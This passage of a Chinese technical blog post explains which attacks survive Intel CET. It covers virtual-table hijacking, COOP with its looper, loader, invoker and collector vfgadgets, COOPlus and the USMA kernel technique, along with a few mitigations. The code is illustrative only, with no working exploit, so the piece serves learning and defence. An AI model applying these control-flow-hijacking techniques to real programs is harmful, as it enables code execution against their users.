在申请 shadow stack 内存页 do_mmap 时,flags 参数传入了一个新的标志 VM_SHADOW_STACKbootlin),这样 mmap 会额外申请一个保护页(guard page),这个页一旦被读写就会触发异常。Shadow stack 指针(ssp)移动方式有 pushpopincssp 指令,其中 incssp 指令移动 ssp 后会目标地址及相邻的内存,且 ssp 一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到用户可控的内存区。

(内核这块目前我还不清楚,以后补充吧。)

Intel CET 启用后的攻击思路

虽然 ROP 被 SHSTK 彻底拿下(😭),但是 IBT 提供的前向控制流保护只检查了跳转的地址是否合法,没考虑这个地址是否被替换。于是我们就有了新的攻击思路。

虚函数表劫持

我在 Mini L-CTF 2025 中恰好出了一道好评率为 0 的虚函数表劫持(virtual table hijack)相关的 Pwn 题(CTFers)。于是把那道题的题解搬到这里。

我们考虑这样的 C++ 程序:

#include <iostream>
#include <vector>

class Base {
  public:
    virtual void func() = 0; // 纯虚函数
};

class A : public Base {
    void func() override { std::cout << "I am A!\n"; }
};

class B : public Base {
    void func() override { std::cout << "I am B!\n"; }
};

int main() {
    std::vector<Base *> objs;

    objs.emplace_back(new A());
    objs.emplace_back(new B());
    for (auto obj : objs) {
        obj->func();
    }
}

// 输出:
// I am A!
// I am B!

AB 继承自 Basestd::vector 存储这两种对象时仅存储其基类对象指针(实际应该使用智能指针)而丢弃了具体的类型信息(A 还是 B?)。然而我们依旧可以直接调用对应类型的虚函数 func,这是因为 C++ 运行时多态特性。大多数编译器实现它的方式是虚函数表,在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表。虚函数被调用时首先从对象里的虚函数表指针指向的虚函数表中取出对应虚函数地址,然后再进行调用:

; rax 为对象地址
mov     rdx, qword [rax]          ; 取虚函数表
mov     rdx, qword [rdx + offset] ; 取虚函数
mov     rdi, rax                  ; 传 this 指针隐式作为首个参数
call    rdx                       ; 虚函数调用

所以,一个包含了虚函数的 C++ 对象的内存布局会是这样:

struct Object {
    void (**vtable)(struct Object *, ...); // 虚函数表指针
    
    /* 对象字段 ... */
};

如果我们能劫持虚函数表指针,指向伪造的虚函数表,其中包含类似 one_gadget 那样的后门函数或者 system 之类。可实际情况我们往往需要拼接多个代码片段达到任意代码执行的效果(用来泄露基址、执行 orw 等)。没有 ROP 的话怎么做到链式“拼接”代码片段呢?有研究人员提出了 COOP(虽然但是这大概是绕过 CFI 检查多种思路中相对困难的一种)

开启控制流完整性保护后第一时间考虑的攻击方式应该是各种 data-only(仅数据)攻击,不篡改控制流但篡改敏感数据从而控制程序行为。COOP 攻击只在很极端的情况才能达成,不过确实是一个挺有趣且并非前所未有的形式 :)。

COOP

COOP(Counterfeit Object Oriented Programming / 面向伪对象编程)是一种新的代码重用攻击。其实我们早已见过 COOP 攻击:高版本 glibc 堆利用往往结合 IO_FILE 利用,“打 IO”就是一种原始的 COOP,只是不在 C++ 中。通过篡改 IO_FILE 中某些作为跳表函数参数的字段,篡改 vtable,构造 system("/bin/sh")。然而我们的目标是实现几乎任意代码执行,需要真正的基于 vfgadgets 的 COOP。

Vfgadgets 是 COOP 论文提出的新型 gadgets,由于 SHSTK + IBT,我们能够利用的 gadgets 从 ret 前的代码片段(ROP gadgets)变成了完整的函数——vfgadget。vfgadgets 大致可以分为 Main Loop Gadget(将其他 vfgadgets 串联起来)、Argument Loader Gadget(类似 ROP 中的 pop rdi; ret;)、Invoker Gadget(类似 ROP 中的 system)和 Collector Gadget(存储 Invoker 的结果)。

img

以上是一张关于 COOP 攻击十分经典的配图

搜寻 vfgadgets 的工具(类似 ropper):https://github.com/x86-512/VXpp

我觉得理解 COOP 需要搞清楚这几种 vfgadgets 的来源,以下是高度简化的模型:

// 这个类实际上应该不会生成虚函数,所有 vfgadgets 也不是在同一个类中,只为简化理解。
class Vfgadgets {
    size_t data;              // 数据类型不是重点
    size_t *addr;
    std::vector<Base *> objs; // 也可以是更简单的:Base* objs[N];

    virtual void looper() {
        for (auto obj : objs) {
            obj->func();
        }
    }
    
    virtual void invoker() {
        this->victim_vfunc();
    }
    
    virtual void loader() {
        size_t var;       // 寄存器变量
        var = this->data; // 也可以是 var = *(this->addr) 之类
                          // 总之是从对象写入寄存器
    }

    virtual void collector(size_t arg) {
        this->data = arg; // 也可以是 *(this->addr) = arg; *(this->addr) = 1234; 之类
                          // 总之是从寄存器或立即数写入对象
    }
    
    virtual void victim_vfunc() {
        // 这里的函数体不是重点,反正会被篡改成另一个函数。
    }
};

其实为了给这些 vfgadgets 再分类,原论文用了很多概念和抽象,我写得还是过于不严谨了(应该比较直观吧)。这几种 vfgadgets 中最重要的是 Main Loop Gadget(Looper),它将所有真正有用的 vfgadgets 串联起来,构成链式调用,达到 ROP 不断返回到各种代码片段连成一串的效果。Looper 从当前对象字段中取出类似数组的容器,其中是有虚函数表的对象,并遍历执行每个对象的某个虚函数。这在开启了优化的大型 C++ 程序特别是 GUI 程序中比较常见,比如释放资源时调用虚析构函数,注册/注销事件之类。

COOP 的攻击条件是已知基址且能够伪造对象,例如 UAF 或者堆缓冲区溢出等漏洞,可以控制堆上分配的对象。我们需要伪造的东西有:

  1. Looper 所在对象(类比 FSOP 时篡改 _IO_list_all

    ​ 篡改其某即将被调用的虚函数为来自另一个对象或全局函数 (?) 的 Looper,再篡改这个 Looper 遍历的伪对象容器地址或内容(指针数组)。

  2. Looper 遍历的伪对象(类比 FSOP 时构造 fake files)

    ​ 将会被调用的虚函数改为其他三种 vfgadgets。

一旦 Looper 被调用,它就会逐个执行容器中一连串伪对象中的 vfgadgets。如果没有 IBT 只有 SHSTK 保护的话,那应该就可以直接把 ROP gadgets 当作 vfgadgets,只是这些 gadgets 不由 ret“触发”而是直接被 call,理应实现任意代码执行。如果开启了 IBT 就更加困难了,毕竟只能执行完整的函数 (?),而不是 ret 前的代码片段,不过依旧能够实现攻击。(据说 COOP 和 ROP 一样是图灵完备的,具体分析过程我还没看明白。)

这种玩法好像在哪里见过?

  • Glibc IO_FILE 利用中有种类似的手法 FSOP。FSOP 通过 _chain 链接任意读写原语,遍历 _IO_list_all_IO_flush_all 可以看作 looper。
  • 很像篡改 glibc ld.so _rtld_global 伪造 fini_arrayfini_array 类似那个容器,不过里面存的直接就是 vfgadgets,那么负责遍历调用 fini_array 中函数的 __run_exit_handlers 就像是 looper 了。

COOPlus 原论文的 presentation 里面有很多配图值得一看。

COOPlus

简单地通过修改虚函数表指针劫持虚函数表早就有了对应的保护措施,例如 gcc 的 virtual table verification(VTV)。虚函数表中会有一个类似 stack canary 的 magic number,在调用虚函数前会先校验虚函数表指针,虚函数表指针一定要指向虚函数表 ✍。我们熟悉的 glibc IO 也会检查 IO_FILE_plus 虚函数表指针 vtable,不过那是通过地址范围来检查。由于虚函数表一般都在只读段,所以不容易篡改。

然而如果我们在整个利用过程中所有虚函数表指针都合法呢?也就是只是将某个对象的虚函数表指针更换为另一个对象的。由于不同类的虚函数表往往放在一起,只需篡改虚函数表指针低位,无需泄露基址就可能更换虚函数表,从而实现越界修改对象字段等简单操作。这就是 COOPlus。COOPlus 主要用来扩大攻击面,通过 vfgadgets 篡改对象中的关键字段(例如权限等级、缓冲区长度等)从而进一步利用。

COOPlus 原论文设计了一个工具 VScape,可以自动扫描程序中 COOPlus 攻击原语。论文作者经过测试发现许多大型 C++ 程序都有不少适合 COOPlus 攻击的虚函数。

USMA

USMA 是由 360 漏洞研究院提出的一种 linux kernel 利用方式。“它允许普通用户进程可以映射内核态内存并且修改内核代码段,通过这个方法,我们可以绕过Linux内核中的CFI缓解措施,在内核态中执行任意代码。”

详细过程请看原文:USMA:用户态映射攻击

缓解措施

如果细粒度前向控制流完整性保护启用了的话,每次虚函数调用都要校验函数指针(而非只是表)的签名,那 COOP 应该就失效了。不过这样激进的保护应该不太可能大面积应用。

……

参考资料

COOP 原论文

COOPlus / VScape 原论文

Bypassing Intel CET with Counterfeit Objects

CVE-2015-5122: Exploitation Using COOP

《Counterfeit Object-oriented Programming》 论文笔记

顺带一提:最近在学习 linux kernel pwn 的时候发现所有的虚函数前面都有 __cfi_*“函数”,其开头是 moveax, 0x8f07ca55,后面有一些 nop 然后直接 fallthrough 进入真正的函数实现。稍微了解了下,这应该是 LLVM / Clang 引入的 CFI (Control Flow Intergrity) 检查。在调用这样的虚函数前,会先校验函数指针:如果函数指针指向的代码段内容第 1~4 个字节是 0x8f07ca55(第 0 个字节是 mov 指令),才通过检查,如果不是就进一步处理,大概率会直接 panic。类似 glibc tcache 对 key 的检查。控制流完整性检查在 linux 内核态已经相对完善,而且实现起来也比在用户态简单。